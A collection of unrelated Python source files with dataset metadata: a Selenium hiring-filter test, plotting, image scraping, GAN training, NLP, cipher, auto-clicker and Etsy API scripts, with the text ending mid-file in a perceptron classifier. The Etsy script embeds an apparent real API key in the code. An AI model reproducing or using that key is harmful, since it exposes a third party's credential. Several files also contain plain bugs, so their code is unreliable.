close_alert_and_get_its_text(self):\n try:\n alert = self.driver.switch_to_alert()\n alert_text = alert.text\n if self.accept_next_alert:\n alert.accept()\n else:\n alert.dismiss()\n return alert_text\n finally:\n self.accept_next_alert = True\n\n def tearDown(self):\n self.driver.quit()\n self.assertEqual([], self.verificationErrors)\n\n def test_FilterByHiringStatus(self):\n import Functions\n import automatedSmokeTest\n # checkNumError = 0\n Functions.GUIdisplay.testName = \"Filter by Status\"\n driver = Functions.Functions.hiringOPL(self)\n\n # filter by Pending\n buttonStatus = 'Pending'\n automatedSmokeTest.GUIFunctions.outputDisplayConsole(\"1. Filter by %s\" %buttonStatus, Functions.GUIdisplay.testName,'display')\n driver.find_element_by_xpath(\"//div[@id='statusTypes']/div[1]/label[1]\").click()\n time1.sleep(4)\n\n checkEmpty = Test_FilterByStatus.is_element_present(self, By.XPATH, \"//td[@class='dataTables_empty']\")\n if checkEmpty == True:\n automatedSmokeTest.GUIFunctions.outputDisplayConsole(\"There are no %S assessees.\" %(buttonStatus), Functions.GUIdisplay.testName,'display')\n else:\n tableText = driver.find_element_by_id(\"hiring-status-table_info\").text\n systemAssessee, listAssessee = Functions.Functions.howmanyAssesseeListSystem(tableText)\n filterWorks = Functions.Functions.checkStatusList(driver, listAssessee, buttonStatus)\n if filterWorks == 0: \n automatedSmokeTest.GUIFunctions.outputDisplayConsole(\"The list is not filtered by %s status.\" %(buttonStatus), Functions.GUIdisplay.testName,'se')\n else:\n # filter by Hired\n buttonStatus = 'Hired'\n automatedSmokeTest.GUIFunctions.outputDisplayConsole(\"2. Filter by %s\" %buttonStatus, Functions.GUIdisplay.testName,'display')\n driver.find_element_by_xpath(\"//div[@id='statusTypes']/div[1]/label[1]\").click()\n driver.find_element_by_xpath(\"//div[@id='statusTypes']/div[2]/label[1]\").click()\n time1.sleep(4)\n\n checkEmpty = Test_FilterByStatus.is_element_present(self, By.XPATH, \"//td[@class='dataTables_empty']\")\n if checkEmpty == True:\n automatedSmokeTest.GUIFunctions.outputDisplayConsole(\"There are no %S assessees.\" %(buttonStatus), Functions.GUIdisplay.testName,'display')\n else:\n tableText = driver.find_element_by_id(\"hiring-status-table_info\").text\n systemAssessee, listAssessee = Functions.Functions.howmanyAssesseeListSystem(tableText)\n filterWorks = Functions.Functions.checkStatusList(driver, listAssessee, buttonStatus)\n if filterWorks == 0: \n automatedSmokeTest.GUIFunctions.outputDisplayConsole(\"The list is not filtered by %s status.\" %(buttonStatus), Functions.GUIdisplay.testName,'se')\n else:\n # filter by Hired\n buttonStatus = 'Not hired'\n automatedSmokeTest.GUIFunctions.outputDisplayConsole(\"3. Filter by %s\" %buttonStatus, Functions.GUIdisplay.testName,'display')\n driver.find_element_by_xpath(\"//div[@id='statusTypes']/div[2]/label[1]\").click()\n driver.find_element_by_xpath(\"//div[@id='statusTypes']/div[3]/label[1]\").click()\n time1.sleep(4)\n\n checkEmpty = Test_FilterByStatus.is_element_present(self, By.XPATH, \"//td[@class='dataTables_empty']\")\n if checkEmpty == True:\n automatedSmokeTest.GUIFunctions.outputDisplayConsole(\"There are no %S assessees.\" %(buttonStatus), Functions.GUIdisplay.testName,'display')\n else:\n tableText = driver.find_element_by_id(\"hiring-status-table_info\").text\n systemAssessee, listAssessee = Functions.Functions.howmanyAssesseeListSystem(tableText)\n filterWorks = Functions.Functions.checkStatusList(driver, listAssessee, buttonStatus)\n if filterWorks == 0: \n automatedSmokeTest.GUIFunctions.outputDisplayConsole(\"The list is not filtered by %s status.\" %(buttonStatus), Functions.GUIdisplay.testName,'se')\n else:\n automatedSmokeTest.GUIFunctions.outputDisplayConsole(\"The list is correctly filtered according to the status.\", Functions.GUIdisplay.testName,'s')\n\n\nif __name__ == \"__main__\":\n unittest.main(warnings ='ignore')","sub_path":"src/Test_FilterByStatus.py","file_name":"Test_FilterByStatus.py","file_ext":"py","file_size_in_byte":5358,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"543541033","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom matplotlib.pyplot import figure as fig\nimport funcs\nimport atsFuncs as ats\n\n# 11/15/19 ARoG\n# Process adaptive time-stepping with alpha eigenvalue results for single pin\n# transients\n\n# color scheme for the plots\ncol4 = ('--k','-k','-b','-r',':k',':b',':r')\n\n# only looking at pin03 right now, the most interesting case\nfor ip in range(3,4):\n # get data\n pID = 'pin0'+str(ip)\n # various configurations to be analyzed\n fns = (pID+'.noF.ref',pID+'.noF.cts', \\\n pID+'.noF.ctsA.abs',pID+'.noF.ctsA.rel',pID+'.noF.ctsFD.abs',pID+'.noF.ctsFD.rel', \\\n pID+'.noF.atsA.abs',pID+'.noF.atsA.rel',pID+'.noF.atsFD.abs',pID+'.noF.atsFD.rel', \\\n pID+'.wF.ref',pID+'.wF.cts', \\\n pID+'.wF.ctsA.abs',pID+'.wF.ctsA.rel',pID+'.wF.ctsFD.abs',pID+'.wF.ctsFD.rel', \\\n pID+'.wF.atsA.abs',pID+'.wF.atsA.rel',pID+'.wF.atsFD.abs',pID+'.wF.atsFD.rel')\n ncs = int(len(fns)/2)\n lA = []; lA.append(False); lA.append(False);\n pDat = []; pDat.append(True); pDat.append(True);\n # set flags for all non-reference cases\n for i in range(2,ncs):\n lA.append((fns[i][(fns[i].find('ts')+2)] == 'A'))\n pDat.append((fns[i][(fns[i].find('ts')-1)] == 'a'))\n # data labels\n labs = ('CTS ref','CTS noF','Alpha ATS abs','Alpha ATS rel','FD ATS abs','FD ATS rel')\n # initialize data storage\n ns = []; ts = []; ps = []; ds = []; dts = []; rs = []; pars = []; alphas = [];\n # get the data\n for j in range(2):\n for i in range(ncs):\n n,t,p,r,d,dt,params,a,ait,atit = ats.procTR('files/'+fns[j*ncs+i])\n # no 'd' values for reference solution, set to dt\n if all(k == 0 for k in d):\n d = dt\n ns.append(n); ts.append(t); ps.append(p); ds.append(d); dts.append(dt);\n rs.append(r); pars.append(params); alphas.append(a);\n\n # feedback labels\n fb = ('Feedback Off','Feedback On','noF','wF')\n crit = ('abs','rel')\n for j in range(2): # loop over feedback option\n for k in range(2): # loop over criteria type\n\n # Comparison of FD and Alpha dt used during ATS\n x1 = ts[j*ncs:j*ncs+2]; y1 = ps[j*ncs:j*ncs+2]; dlabs = [];\n dlabs.append(labs[0]+' ('+str(ns[j*ncs])+')')\n dlabs.append(labs[1]+' ('+str(ns[j*ncs+1])+')')\n alabs = ('Time [ms]','Power [%]','Time step size [ms]')\n for i in range(6+k,10,2):\n # ats power\n x1.append(ts[j*ncs+i][1:ns[j*ncs+i]])\n y1.append(ps[j*ncs+i][1:ns[j*ncs+i]])\n dlabs.append(labs[i-4]+' ('+str(ns[j*ncs+i])+')')\n x2 = []; y2 = [];\n x2.append(ts[j*ncs+1][1:ns[j*ncs+1]])\n y2.append(ds[j*ncs+1][1:ns[j*ncs+1]])\n dlabs.append(labs[1])\n for i in range(6+k,10,2):\n x2.append(ts[j*ncs+i][1:ns[j*ncs+i]])\n y2.append(ds[j*ncs+i][1:ns[j*ncs+i]])\n dlabs.append(labs[i-4])\n tit = fb[j]+' calculated during ATS ('+crit[k]+')'\n fn = pID+'_FDvAdt_'+fb[j+2]+'_'+crit[k]+'.png'\n funcs.dualPlot(4,x1,y1,3,x2,y2,dlabs,alabs,col4,typ=('n','sly'),fn=fn)\n\n","sub_path":"alphaATS.py","file_name":"alphaATS.py","file_ext":"py","file_size_in_byte":3236,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"237859976","text":"\n\nimport requests\nimport os\n\npath='/Users/zc/Desktop/try2/'\nmain='https://nhentai.net/g/'\nDnumber=241736 #递减 (数字文件夹)\nNo=1 #(第几张)\n\nfor i in range(0,10): #循环 10 本\n while 1:\n \n strDnumber=str(Dnumber) #转字符串 (网页文件夹)\n strNo=str(No) #转字符串 (第几张)\n url=main+strDnumber+'/'+strNo+'/' #组合(第几张)\n r=requests.get(url) #连接网页\n \n try:#连接200!\n \n r.raise_for_status()\n \n theJPG=r.text.split('\"https://i.nhentai.net/galleries/')[-1].split('\"')[0] #图片地址\n #theJPG=theJPG.encode('utf-8') #转成字符串\n theJPG='https://i.nhentai.net/galleries/'+theJPG\n \n theD=theJPG.split('/')[-2] #文件夹名称\n theF=theJPG.split('/')[-1] #文件名称\n r=requests.get(theJPG) #连接图片\n \n #创建路径\n if No==1:\n os.makedirs(path+theD)\n #保存\n with open(path+theD+'/'+theF,'wb') as f:\n f.write(r.content)\n \n \n f.close()\n print(theD+'/'+theF+' ok')\n No=No+1 #下一张\n\n except:#连接非200!\n No=1 #初始化No\n Dnumber=Dnumber-1 #上一目录\n break\n","sub_path":"无文件名 不可搜索.py","file_name":"无文件名 不可搜索.py","file_ext":"py","file_size_in_byte":1363,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"953055","text":"from models.CycleGAN import CycleGAN\nfrom models.GAN import GAN\nfrom models.LGAN import LGAN\nfrom models.LCycleGAN import LCycleGAN\nfrom models.Unet import Unet\nfrom tools.data_loader import load_image_s,load_image_u\nfrom tools.output import generate_multi_images\nfrom tools.args import create_parser\nimport tensorflow as tf\nimport time\nimport os\n\n\n\ndef get_trainer(model_name):\n if (model_name == 'gan'):\n return GAN(), False\n if (model_name == 'lgan'):\n return LGAN(), False\n if (model_name == 'unet'):\n return Unet(), False\n if (model_name == 'cyclegan'):\n return CycleGAN(), True\n if (model_name == 'lcyclegan'):\n return LCycleGAN(), True\n if (model_name == 'cyclegan_inria'):\n return CycleGAN(cX=3,cY=1), True\n return None\n\n\n\ndef fit(train_ds, test_ds,epochs,model_name, restore = False, Supervised = True, train_dsB = None, test_dsB = None):\n Trainer, is_cycle = get_trainer(model_name)\n if restore:\n Trainer.checkpoint.restore(tf.train.latest_checkpoint(Trainer.checkpoint_dir))\n for epoch in range(epochs):\n start = time.time()\n\n if not Supervised:\n generate_multi_images(Trainer, test_ds,6,epoch,cycle = is_cycle, Supervised = False, datasetB = test_dsB)\n print(\"Epoch: \", epoch)\n # Train\n n=0\n for (X,Y) in zip(train_ds,train_dsB):\n print('.', end='')\n if (n+1)%100 == 0:\n print()\n n +=1\n Trainer.train_step(X,Y,epoch)\n \n else:\n generate_multi_images(Trainer, test_ds,6,epoch,cycle = is_cycle)\n print(\"Epoch: \", epoch)\n # Train\n for n, (input_image, target) in enumerate(train_ds):\n print('.', end='')\n if (n+1) % 100 == 0:\n print()\n Trainer.train_step(input_image, target, epoch)\n print()\n\n if not os.path.exists(Trainer.checkpoint_prefix):\n os.makedirs(Trainer.checkpoint_prefix)\n\n # saving (checkpoint) the model every 20 epochs\n if (epoch + 1) % 20 == 0:\n Trainer.checkpoint.save(file_prefix = Trainer.checkpoint_prefix)\n\n print ('Time taken for epoch {} is {} sec\\n'.format(epoch + 1,\n time.time()-start))\n Trainer.checkpoint.save(file_prefix = Trainer.checkpoint_prefix)\n\n\nif __name__ == \"__main__\":\n\n opts = create_parser()\n model_name = opts.model\n epoch = opts.epochs\n restore = opts.load\n\n if opts.dataset == 'inria':\n dataloader = load_image_u(path = './data/Inria/', inria = True,name_X = 'A', name_Y = 'B')\n train_dataset_X,train_dataset_Y = dataloader.get_train_set()\n test_dataset_X = dataloader.get_test_set()\n model_name = 'cyclegan_inria'\n fit(train_dataset_X, test_dataset_X, epoch,model_name,restore,Supervised=False, train_dsB = train_dataset_Y)\n else:\n dataloader = load_image_s()\n train_dataset = dataloader.get_train_set()\n test_dataset = dataloader.get_test_set()\n fit(train_dataset, test_dataset, epoch,model_name,restore)\n","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":3000,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"481600058","text":"class Bank_Account():\n def __init__(self, name, balance):\n self.name=name\n self.balance=balance\n def withdraw(self, amount):\n if(self.balance < amount):\n print(f\"insufficient funds, Available balance is: {self.balance}\")\n else:\n self.balance -= amount\n print(f\"Available balance after withdrawal: {self.balance}\")\n\n def deposite(self, amount):\n self.balance+=amount\n print(f\"Available balance after deposit: {self.balance}\")\n \n def __str__(self):\n return f\"name: {self.name}, available balance: {self.balance}\"\n\naccount = Bank_Account(\"Bhavana\", 10000)\nprint(f\"Account Created, name: {account.name}, available balance: {account.balance}\")\ndef switch():\n while(True):\n print(\"Press d for Deposit\\npress w for Withdraw \\npress p for display account\\npress e for Exit \")\n option = input(\"your option : \")\n if option == 'd':\n amount=(int(input(\"enter the amount to be deposited: \")))\n account.deposite(amount)\n continue\n elif option == 'w':\n amount=(int(input(\"enter the amount to be withdrawn: \")))\n account.withdraw(amount)\n continue\n elif option == 'p':\n print(account)\n continue\n elif option == 'e':\n print(\"Thank You\")\n break\n else:\n print(\"Incorrect option\")\nswitch() \n","sub_path":"day-1/bank_account.py","file_name":"bank_account.py","file_ext":"py","file_size_in_byte":1444,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"298126352","text":"import urllib2, json, getpass, time\nfrom pymongo import MongoClient\nfrom pprint import pprint\nimport numpy as np\nfrom datetime import date, timedelta, datetime\n\n\napiKey = 'l1g165k002v7w3gtzaa683qp'\napiCnt = 0\nbaseURI = 'https://openapi.etsy.com/v2'\nmyShopID = 9816366\nlimit = 100\noffset = 0\ncount = 1\nfavorsMin = 0\ndateMin = date.today() - timedelta(days=180)\n\nuserNm = 'tfische'\npassWd = getpass.getpass()\nopener = urllib2.build_opener(urllib2.ProxyHandler({'https': 'https://tfische:' + passWd + '@proxy-newyork.aexp.com:8080'}))\nproxyFlag = 1;\n\nclient = MongoClient('localhost', 27017)\ndb = client.etsy\n\ndef getJson(uri, opener, proxyFlag):\n global apiCnt\n apiCnt = apiCnt + 1\n \n time.sleep( .1 )\n\n if proxyFlag == 1:\n response = opener.open(uri)\n return json.loads(response.read())\n else:\n response = urllib2.urlopen(uri)\n return json.loads(response.read())\n\n\n# [Etsy API Doc](https://www.etsy.com/developers/documentation/reference/shop)\n# getShop\ndef getShop(baseURI, shopID, apiKey, opener, proxyFlag):\n uri = baseURI + '/shops/' + str(shopID) + '?api_key=' + apiKey\n return getJson(uri, opener, proxyFlag)\n\nfrom collections import OrderedDict\nshopDict = OrderedDict()\ndata = getShop(baseURI, myShopID, apiKey, opener, proxyFlag)\n#Add error handling for not finding shop\n\nshopDict['shopID'] = data['results'][0]['shop_id']\nshopDict['listings'] = []\n#Maybe add more attributes in the future if needed\n\n\n# [Etsy API Doc](https://www.etsy.com/developers/documentation/reference/listing)\n# findAllShopListingsActive\ndef getShopListings(baseURI, shopID, apiKey, limit, offset, opener, proxyFlag):\n uri = baseURI + '/shops/' + str(shopID) + '/listings/active?api_key=' + apiKey + \"&limit=\" + str(limit) + \"&offset=\" + str(offset)\n return getJson(uri, opener, proxyFlag)\n\nmyListings = {}\noffset = 0\ncount = 1\nwhile (offset < count):\n data = getShopListings(baseURI, myShopID, apiKey, limit, offset, opener, proxyFlag)\n #pprint(data)\n\n count = data[\"count\"]\n effective_limit = min(data[\"pagination\"][\"effective_limit\"], len(data[\"results\"]))\n\n for i in range(0,effective_limit):\n if \"listing_id\" in data[\"results\"][i]:\n if data[\"results\"][i][\"num_favorers\"] >= favorsMin:\n myListings[data[\"results\"][i][\"listing_id\"]] = data[\"results\"][i][\"num_favorers\"]\n shopDict['listings'].append({\"listingID\": data[\"results\"][i][\"listing_id\"], \n \"createDt\": data[\"results\"][i][\"original_creation_tsz\"],\n \"modifyDt\": data[\"results\"][i][\"last_modified_tsz\"],\n \"tags\": data[\"results\"][i][\"tags\"]})\n offset = offset + limit\n\n\n# In[10]:\n\n#Load shopDict into mongoDB\n#db.shops.insert_one(shopDict)\n#db.shops.find_one({\"shopID\": myShopID})\nresult = db.shops.update_one(\n {\"shopID\": shopDict['shopID']},\n {'$set': shopDict},\n upsert = True\n )\n","sub_path":"extraction/insertUpdateShop.py","file_name":"insertUpdateShop.py","file_ext":"py","file_size_in_byte":2987,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"17839419","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Mon Oct 29 09:48:03 2018\r\nadd a pretrained words embeddings as a new channel\r\nthere are two channels in input\r\n@author: Allen\r\n\"\"\"\r\n\r\nimport tensorflow as tf\r\nimport numpy as np\r\nimport data_helpers\r\nfrom preprocessor import vocabulary\r\nfrom preprocessor import pretrained \r\n\r\n# Parameters\r\npretrain_embeds_size=200\r\nembedding_dim=200 \r\n# Dimensionality of character embedding\r\nfilter_sizes=[3,4,5] # Comma-separated filter sizes\r\nnum_filters=128 # Number of filters per filter size\r\nkeep_prob=0.5 # Dropout keep probability \r\nl2_reg_lambda=0 # L2 regularizaion lambda\r\nbatch_size=64 # Batch Size\r\nnum_epochs=200 # Number of training epochs\r\nevaluate_every=100 # Evaluate model on dev set after this many steps\r\ncheckpoint_every=100 # Save model after this many steps\r\nnum_classes=2 # the number of output layer\r\n\r\n# data\r\nx_text, y = data_helpers.load_data_and_labels()\r\nvoc = vocabulary(x_text)\r\nx=np.array(voc.data)\r\n\r\n# get pretrained embeddings\r\nfname = './data/glove.twitter.27B.200d.txt'\r\npt = pretrained(fname, voc.vocab, pretrain_embeds_size)\r\n\r\n# Randomly shuffle data\r\nnp.random.seed(10)\r\nshuffle_indices = np.random.permutation(np.arange(len(y)))\r\nx_shuffled = x[shuffle_indices]\r\ny_shuffled = y[shuffle_indices]\r\n\r\n# Split train/test set\r\n# TODO: This is very crude, should use cross-validation\r\nx_train, x_dev = x_shuffled[:-1000], x_shuffled[-1000:]\r\ny_train, y_dev = y_shuffled[:-1000], y_shuffled[-1000:]\r\n#print(\"Vocabulary Size: {:d}\".format(len(vocab_processor.vocabulary_)))\r\nprint(\"Vocabulary Size: {:d}\".format(len(voc.vocab)))\r\nprint(\"Train/Dev split: {:d}/{:d}\".format(len(y_train), len(y_dev)))\r\n\r\n# build cnn model\r\nsequence_length=x_train.shape[1]\r\n\r\ninput_x = tf.placeholder(tf.int32, [None, sequence_length], name=\"input_x\")\r\ninput_y = tf.placeholder(tf.float32, [None, num_classes], name=\"input_y\")\r\ndropout_keep_prob = tf.placeholder(tf.float32, name=\"dropout_keep_prob\")\r\n\r\n#vocab_size=len(voc.vocab)\r\n#C = tf.Variable(tf.random_uniform([vocab_size, embedding_dim], -1.0, 1.0), name=\"lookuptable\")\r\n#embedded_chars = tf.nn.embedding_lookup(C, input_x)\r\n#embedded_chars_expanded = tf.expand_dims(embedded_chars, -1)\r\n\r\nembeds_pretrain_data = tf.placeholder(tf.float32, [None, pretrain_embeds_size])\r\nembedded_pretrain = tf.nn.embedding_lookup(embeds_pretrain_data, input_x)\r\nembedded_pretrain_expanded = tf.expand_dims(embedded_pretrain, -1)\r\nembedded_chars_expanded=embedded_pretrain_expanded\r\n#print(embedded_pretrain_expanded)\r\nprint(embedded_chars_expanded)\r\n\r\npooled_outputs = []\r\nfor i, filter_size in enumerate(filter_sizes):\r\n # Convolution Layer\r\n filter_shape = [filter_size, embedding_dim, 1, num_filters]\r\n W = tf.Variable(tf.truncated_normal(filter_shape, stddev=0.1), name=\"W\")\r\n b = tf.Variable(tf.constant(0.1, shape=[num_filters]), name=\"b\")\r\n conv = tf.nn.conv2d(\r\n embedded_chars_expanded,\r\n W,\r\n strides=[1, 1, 1, 1],\r\n padding=\"VALID\",\r\n name=\"conv\")\r\n \r\n # Apply nonlinearity\r\n h = tf.nn.relu(tf.nn.bias_add(conv, b), name=\"relu\")\r\n \r\n # Maxpooling over the outputs\r\n pooled = tf.nn.max_pool(\r\n h,\r\n ksize=[1, sequence_length - filter_size + 1, 1, 1],\r\n strides=[1, 1, 1, 1],\r\n padding='VALID',\r\n name=\"pool\")\r\n pooled_outputs.append(pooled)\r\n\r\n# Combine all the pooled features\r\nnum_filters_total = num_filters * len(filter_sizes)\r\nh_pool = tf.concat(axis=3, values=pooled_outputs)\r\nh_pool_flat = tf.reshape(h_pool, [-1, num_filters_total])\r\n\r\n# Add dropout\r\nh_drop = tf.nn.dropout(h_pool_flat, dropout_keep_prob)\r\n\r\n# output layer\r\nW_output_shape=[num_filters_total, num_classes]\r\nW_output = tf.Variable(tf.truncated_normal(W_output_shape, stddev=0.1))\r\nb_output = tf.Variable(tf.constant(0.1, shape=[num_classes]))\r\n\r\n# Final (unnormalized) scores and predictions\r\nscores = tf.nn.xw_plus_b(h_drop, W_output, b_output, name=\"scores\")\r\npredictions = tf.argmax(scores, 1, name=\"predictions\")\r\nlosses = tf.nn.softmax_cross_entropy_with_logits(logits=scores, labels=input_y)\r\nl2_loss = tf.nn.l2_loss(W_output)\r\nl2_loss += tf.nn.l2_loss(b_output)\r\n\r\nloss = tf.reduce_mean(losses) + l2_reg_lambda * l2_loss\r\n\r\noptimizer = tf.train.AdamOptimizer(0.0001)\r\ngrads_and_vars = optimizer.compute_gradients(loss)\r\nglobal_step = tf.Variable(0, name=\"global_step\", trainable=False)\r\ntrain_op = optimizer.apply_gradients(grads_and_vars, global_step=global_step)\r\n\r\ncorrect_predictions = tf.equal(predictions, tf.argmax(input_y, 1))\r\naccuracy = tf.reduce_mean(tf.cast(correct_predictions, \"float\"), name=\"accuracy\")\r\n\r\n\r\nloss_summary = tf.summary.scalar(\"loss\", loss)\r\n\r\nsess = tf.Session()\r\nsess.run(tf.initialize_all_variables())\r\n#res=sess.run(C)\r\n#print(\"C:\",res[0,1])\r\n\r\n # Generate batches\r\nbatches = data_helpers.batch_iter(list(zip(x_train, y_train)), batch_size, num_epochs)\r\n\r\nfor batch in batches:\r\n x_batch, y_batch = zip(*batch)\r\n feed_dict = {\r\n input_x: x_batch,\r\n input_y: y_batch,\r\n dropout_keep_prob: keep_prob,\r\n embeds_pretrain_data:pt.embeds\r\n }\r\n _, step, summaries, loss_val,acc_val = sess.run(\r\n [train_op, global_step, loss_summary, loss, accuracy],\r\n feed_dict)\r\n print(\"step {}, loss {:g}, acc {:g}\".format(step, loss_val, acc_val))\r\n current_step = tf.train.global_step(sess, global_step)\r\n\r\n\r\n# validation\r\nfeed_dict = {\r\n input_x: x_dev,\r\n input_y: y_dev,\r\n dropout_keep_prob: 1,\r\n embeds_pretrain_data:pt.embeds\r\n}\r\nacc_val = sess.run([accuracy],feed_dict)\r\nprint(\"Accuracy in dev: \", acc_val)\r\n","sub_path":"mycnn4text_pretrain.py","file_name":"mycnn4text_pretrain.py","file_ext":"py","file_size_in_byte":5695,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"207647839","text":"#####################\n### ATBASH CIPHER#######\n#####################\n#INPUT\ninput = input()\ninput = input.upper()\n\n# Dict for Cipher \ntest_input = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ'\nList_1, List_2 = [],[]\nfor i in test_input:\n\tList_1.append(i)\nReverse_List = List_1[::-1]\nfor j in Reverse_List:\n\tList_2.append(j)\n\n# ENCODING\ndictonary = dict(zip(List_1,List_2))\nFin_list = []\no =\"\"\nfor p in input:\n\tfor k,l in dictonary.items():\n\t\tif p == k:\n\t\t\to+=l\n\t\telif p ==\"\":\n\t\t\to+=\" \"\t\nFin_list.append(o)\n\nstr1 = ' '.join(str(e) for e in Fin_list)\nprint(\"The Encoded string is \"+str1)\n\n\n# DECODING\ndictonary_2 = dict(zip(List_2,List_1))\nFin_list_2 = []\no1 = \"\"\nfor p1 in str1:\n\tfor k1,l1 in dictonary_2.items():\n\t\tif p1 == k1:\n\t\t\to1+=l1\n\t\telif p1 == \"\":\n\t\t\to1+=\" \"\nFin_list_2.append(o1)\n\nstr2 = ' '.join(str(e1) for e1 in Fin_list_2)\nprint(\"The Decoded string is \"+str2)","sub_path":"Atbash_cipher.py","file_name":"Atbash_cipher.py","file_ext":"py","file_size_in_byte":854,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"59985855","text":"import time \r\nimport threading\r\nimport pynput.mouse \r\nimport Button, Controller\r\n\r\n\r\nfrom pynput.keyboard import Listener, KeyCode\r\n\r\ndelay = 0.001\r\nbutton = Button.RIGHT\r\nstart_stop_key = KeyCode(char='a')\r\nstop_key= KeyCode(char='b')\r\n\r\nclass ClickMouse(threading.Thread):\r\n\r\n def __init__(self, delay, button):\r\n super(ClickMouse, self).__init__()\r\n self.delay = delay\r\n self.button= button\r\n self.running = False\r\n self.program_running = True\r\n\r\n def start_clicking(self):\r\n self.running= True\r\n\r\n def stop_clicking(self):\r\n self.running = False\r\n\r\n def exit(self):\r\n self.start_clicking()\r\n self.program_running = False\r\n\r\n def run(self):\r\n while self.program_running:\r\n while self.running:\r\n mouse.click(self.button)\r\n time.sleep(self.delay)\r\n time.sleep(0.1)\r\n \r\nmouse = Controller()\r\nclick_thread = ClickMouse(delay, button)\r\nclick_thread.start()\r\n\r\ndef on_press(key):\r\n if key == start_stop_key:\r\n click_thread.exit()\r\n Listener.stop()\r\n\r\nwith Listener(on_press= on_press) as listener:\r\n listener.join() \r\n\r\n\r\n","sub_path":"Auto_Clicker.py","file_name":"Auto_Clicker.py","file_ext":"py","file_size_in_byte":1194,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"304185015","text":"# Definition for a binary tree node.\nfrom typing import List\n\n\nclass TreeNode:\n def __init__(self, val=0, left=None, right=None):\n self.val = val\n self.left = left\n self.right = right\n \nclass Solution:\n def flipMatchVoyage(self, root: TreeNode, voyage: List[int]) -> List[int]:\n stack = [root]\n flipped_nodes = []\n voyage_idx = 0\n \n while stack:\n node = stack.pop()\n \n if node.val != voyage[voyage_idx]:\n return [-1]\n if node.left and node.left.val != voyage[voyage_idx + 1]:\n node.left, node.right = node.right, node.left\n flipped_nodes.append(node.val)\n \n if node.right:\n stack.append(node.right)\n if node.left:\n stack.append(node.left)\n voyage_idx += 1\n \n return flipped_nodes\n \n","sub_path":"Full-timePrep/Week1-Tree/FlipBinaryTreeToMatchPreorderTraversal.py","file_name":"FlipBinaryTreeToMatchPreorderTraversal.py","file_ext":"py","file_size_in_byte":935,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"302420856","text":"\nData = []\nimport sys\nimport copy\nEpochs = 100\nTrainingPortion = 0.9\n\nclass Perceptron:\n def __init__(self, num_inputs, Eta):\n self.weights = [1]*(num_inputs+1) #+1 is for W0, the threshold weight\n self.eta = Eta\n\n def copy(self):\n p = Perceptron(len(self.weights)-1, self.eta)\n for i in range(len(self.weights)):\n p.weights[i] = self.weights[i]\n return p\n\n def learn(self, inputs, correct_output):\n prediction = self.predict(inputs)\n if prediction * correct_output <= 0: #if prediction and the correct output have a different sign:\n for i in range(len(self.weights)):\n new = self.weights[i] - (self.eta * (prediction - correct_output) * inputs[i])\n self.weights[i] = new\n else:\n return\n\n def test(self, inputs, correct_output):\n prediction = self.predict(inputs)\n return not(prediction * correct_output <= 0) # if prediction and the correct output have a different sign, return false\n\n def predict(self, inputs):\n total = 0\n for i in range(len(self.weights)):\n total += self.weights[i] * inputs[i]\n return total\n\n def listWeights(self):\n for i in range(len(self.weights)):\n sys.stdout.write(\"w\" + str(i) + \" = \" + str(self.weights[i]) + \" \")\n sys.stdout.flush()\n return\n\n\nclass Numimg:\n def __init__(self, data = \"\"):\n self.label = data[0]\n temp = data[1:].split(\"\\n\") #like firewood\n self.Array = []\n for i in temp:\n self.Array.append(i.split(\" \")[1:]) #because\n self.rows = len(self.Array)\n self.cols = len(self.Array[0])\n num_ones = self.num_ones()\n self.density = num_ones / (self.rows * self.cols)\n self.h_symmetry = self.__h_symmetry__() / num_ones\n self.v_symmetry = self.__v_symmetry__() / num_ones\n self.min_h_intercepts, self.max_h_intercepts = self.__h_intercepts__()\n self.min_v_intercepts, self.max_v_intercepts = self.__v_intercepts__()\n\n def print(self):\n print(\"Label:\", self.label)\n print(\"density:\", self.density)\n print(\"h_symmetry:\", self.h_symmetry)\n print(\"v_symmetry:\", self.v_symmetry)\n print(\"h intercepts(min,max):\", self.min_h_intercepts, self.max_h_intercepts)\n print(\"v intercepts(min,max):\", self.min_v_intercepts, self.max_v_intercepts)\n for i in self.Array:\n print(i)\n\n def num_ones(self):\n counter = 0\n for i in self.Array:\n for j in i:\n if(j == '1'):\n counter += 1\n\n return counter\n\n def __h_symmetry__(self):\n temp = 0\n for i in range(self.rows//2):\n for j in range(self.cols//2):\n if(self.Array[i][j] != self.Array[i][self.cols-(j+1)]):\n temp += 1\n return temp\n\n def __v_symmetry__(self):\n temp = 0\n for i in range(self.rows//2):\n for j in range(self.cols//2):\n if(self.Array[i][j] != self.Array[self.rows-(i+1)][j]):\n temp += 1\n return temp\n\n def __h_intercepts__(self):\n min = sys.maxsize\n max = 0\n for i in range(self.rows):\n count = 0\n prev = '0'\n for j in range(self.cols): #following will count the number of 1 to 0 borders in current row\n curr = self.Array[i][j]\n if prev != curr:\n if prev == '1':\n count += 1\n prev = curr\n if count < min:\n min = count\n if count > max:\n max = count\n return min, max\n\n def __v_intercepts__(self):\n min = sys.maxsize\n max = 0\n for i in range(self.cols):\n count = 0\n prev = '0'\n for j in range(self.rows): #following will count the number of 1 to 0 borders in current col\n curr = self.Array[j][i]\n if prev != curr:\n if prev == '1':\n count += 1\n prev = curr\n if count < min:\n min = count\n if count > max:\n max = count\n return min, max\n\n def inputs(self):\n return [-1,\n self.density,\n self.h_symmetry,\n self.v_symmetry,\n self.min_h_intercepts,\n self.max_h_intercepts,\n self.min_v_intercepts,\n self.max_v_intercepts]\n\n\n\n\n\ndef parseData():\n 